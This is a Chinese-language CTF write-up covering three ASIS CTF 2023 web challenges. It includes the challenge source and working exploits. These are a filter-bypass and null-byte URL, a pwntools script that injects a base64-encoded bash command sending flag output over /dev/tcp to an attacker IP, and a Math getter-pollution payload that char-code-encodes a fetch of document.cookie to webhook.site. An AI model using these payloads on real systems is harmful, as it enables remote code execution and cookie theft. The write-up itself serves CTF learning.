2023ASISCTF

2023ASISCTF

web

hello

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/*
Flag is at /flag.txt
Hint for beginners: read curl's manpage.
*/
highlight_file(__FILE__);
$url = 'file:///hi.txt';
if(
array_key_exists('x', $_GET) &&
!str_contains(strtolower($_GET['x']),'file') &&
!str_contains(strtolower($_GET['x']),'flag')
){
$url = $_GET['x'];
}
system('curl '.escapeshellarg($url));

第一步

1
http://45.147.231.180:8000/?x=fi%fale:///ne%faxt.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const fs = require('node:fs');
const path = require('path')

/*
I wonder what is inside /next.txt
*/

const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
const server = Bun.serve({
port: 8000,
fetch(req) {
let url = new URL(req.url);
let pname = url.pathname;
if(pname.startsWith(`/${secret}`)){
if(pname.startsWith(`/${secret}/read`)){
try{
let fpath = url.searchParams.get('file');
if(path.basename(fpath).indexOf('next') == -1){
return new Response(fs.readFileSync(fpath).toString('base64'));
} else {
return new Response('no way');
}
} catch(e){ }
return new Response("Couldn't read your file :(");
}
return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
}
return
}
});

第二步

1
http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/read/?file=/next.txt%00/.

ps:(bun 和 node 不同)

hello-again

还是源码题目。

首先根据源码

https://github.com/oven-sh/bun/blob/df9461ecc58e2882afa34cdf59d9887d9242b5f9/src/url.zig#L854

url解码将会在%PUBLIC_URL%的地方停止,形成截断

然后同时需要match得到private-symlink控制参数,然后使用index绕过(这步没完全看懂)

似乎还是源码match解析的过程会将index解释成本目录下的东西,然而basename只会截取最后,两者解析的问题成功绕过

最后通过软连接获取到bun的调试程序文件,然后tmp下面直接可以加载调用

最后bash反带RCE

https://github.com/oven-sh/bun/blob/df9461ecc58e2882afa34cdf59d9887d9242b5f9/src/bun.js/api/server.zig#L5603

还是需要找到源码,比较逆天的一题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
import base64
from pwn import remote

p = remote('127.0.0.1',8000)
p.send(b"""GET /cgi-bin/%PUBLIC_URL%/%70rivate-symlink/index?target=/bin/debconf&path=/tmp/subl HTTP/1.1
Host: dfdf

""".replace(b'\n',b'\r\n'))
print(p.recv())
p.close()


p = remote('127.0.0.1',8000)
a = '/readflag gimmeflag > /dev/tcp/your_ip/10086'
p.send(b"""GET /src:/app;echo${IFS}"""+base64.b64encode(a.encode())+b"""|base64${IFS}-d|bash HTTP/1.1
open-in-editor: 1
Host: dfdf

""".replace(b'\n',b'\r\n'))
# p.interactive()
print(p.recv())
p.close()

yet another calc

一种新的污染方式,实际上通过__defineGetter__以及__lookupGetter__这样的原生函数,将Math进行污染

实际上简单来说

1
2
3
a = 1
Math.__defineGetter__(Math.qwewe, String.fromCharCode)
Math.__defineGetter__(a, Math.__lookupGetter__)

Math.qwewe本身不存在必然是定义为undefined,但是String.fromCharCode跟其关联

a存在,__lookupGetter__本身会寻找全部的原型链,然后查看是否存在某些属性,但是a同样不存在于Math,同时指向的是undefined(搜索上的先后),所以调用的过程大概是这样的

Math[a](70),调用Math.__lookupGetter__,然后搜索到undefined(除了null都存在),然后找到Math.qwewe,从而污染了Math

并且寻找的undefined是最近的属性

1
2
3
4
5
6
7
a = "sss"
Math.__defineGetter__(Math.qwewe, String.fromCharCode)
Math.__defineGetter__(Math.qwew, String.fromCodePoint)
Math.__defineGetter__(a, Math.__lookupGetter__)

Math.sss
//ƒ fromCodePoint() { [native code] }

所以这题思路非常奇妙啊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c=Math.constructor
c=c.name
c=c.constructor
c=c.fromCharCode
Math.__defineGetter__(Math.aa,c)
Math.__defineGetter__(c.name,Math.__lookupGetter__)
v = Math.fromCharCode(102, 101, 116, 99, 104, 40, 96, 104, 116, 116, 112, 115, 58, 47, 47, 119, 101, 98, 104, 111, 111, 107, 46, 115, 105, 116, 101, 47, 55, 100, 49, 97, 53, 57, 51, 100, 45, 102, 49, 100, 97, 45, 52, 102, 54, 55, 45, 98, 101, 98, 97, 45, 48, 50, 51, 102, 101, 49, 99, 99, 101, 99, 101, 49, 63, 97, 61, 96, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 41)
c=Math.constructor
c=c.constructor
Math.__defineGetter__(Math.aa,c)
Math.__defineGetter__(c.name,Math.__lookupGetter__)
z=Math.Function(v)
Math.__defineGetter__(c.name,z)
Math.Function